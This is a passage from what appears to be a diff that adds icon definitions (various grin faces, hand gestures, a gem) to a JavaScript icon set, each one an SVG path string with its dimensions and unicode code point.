62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z"], + "gem": [576, 512, [], "f3a5", "M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z"], + "grimace": [496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z"], + "grin": [496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"], + "grin-alt": [496, 512, [], "f581", "M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z"], + "grin-beam": [496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z"], + "grin-beam-sweat": [496, 512, [], "f583", "M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"], + "grin-hearts": [496, 512, [], "f584", "M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z"], + "grin-squint": [496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z"], + "grin-squint-tears": [512, 512, [], "f586", "M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z"], + "grin-stars": [496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z"], + "grin-tears": [640, 512, [], "f588", "M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"], + "grin-tongue": [496, 512, [], "f589", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "grin-tongue-squint": [496, 512, [], "f58a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z"], + "grin-tongue-wink": [496, 512, [], "f58b", "M152 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z"], + "grin-wink": [496, 512, [], "f58c", "M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"], + "hand-lizard": [576, 512, [], "f258", "M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z"], + "hand-paper": [448, 512, [], "f256", "M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z"], + "hand-peace": [448, 512, [], "f25b", "M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z"], + "hand-point-down": [448, 512, [], "f0a7", "M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z"], + "hand-point-left": [512, 512, [], "f0a5", "M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"], + "hand-point-right": [512, 512, [], "f0a4", "M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"], + "hand-point-up": [448, 512, [], "f0a6", "M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"], + "hand-pointer": [448, 512, [], "f25a", "M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 